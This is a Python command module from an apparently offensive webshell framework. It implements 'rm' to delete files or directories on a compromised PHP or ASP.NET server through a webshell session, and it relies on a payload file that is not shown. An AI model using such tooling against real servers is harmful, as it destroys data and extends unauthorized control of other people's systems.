r'''Delete files or directories on the server.

'''

from api.exploit import WebshellExploit, Cmdline
from api.webshell import WebshellSession, Webshell
from api import logger, utils
import argparse
import os
import json
import re
import base64

class exploit(WebshellExploit):

    def __init__(self):
        super().__init__()
        self.parse = argparse.ArgumentParser(prog='rm', description="Delete files or directories on the server.")
        self.parse.add_argument('-f', '--force', help="Delete files without confirmation.", action="store_true")
        self.parse.add_argument('dest', help="A file path on the server.", nargs='+')
        self.help = __doc__ + self.parse.format_help()

    def support(self, session:WebshellSession)-> bool:
        '''判断当前命令是否支持指定的session， 一般来说session即为运行改命令时的session
        '''
        self.session = session
        return isinstance(self.session, WebshellSession) and self.session.server_info.lang in (Webshell.PHP, Webshell.ASP_NET_CS, )

    def run(self, args:Cmdline)-> int:
        args = self.parse.parse_args(args.options)
        if args.force or utils.input("Are you sure to delete these files? (y/n) ").lower() == 'y':
            flist = "\n".join(args.dest)
            ret = self.evalfile('payload', flist=flist, pwd=self.session.pwd)
            ret = ret.data
            if ret is None:
                logger.error("Remove file error!")
                return self.STOP
            ret = json.loads(ret)
            for msg in ret['msg']:
                msg = base64.b64decode(msg).decode(self.session.client.options.encoding, 'ignore')
                if 'failed' in msg or 'exist' in msg:
                    logger.warning(msg)
                else:
                    logger.info(msg)
            if ret['code'] == -1:
                return self.STOP

        return self.SUCCESS
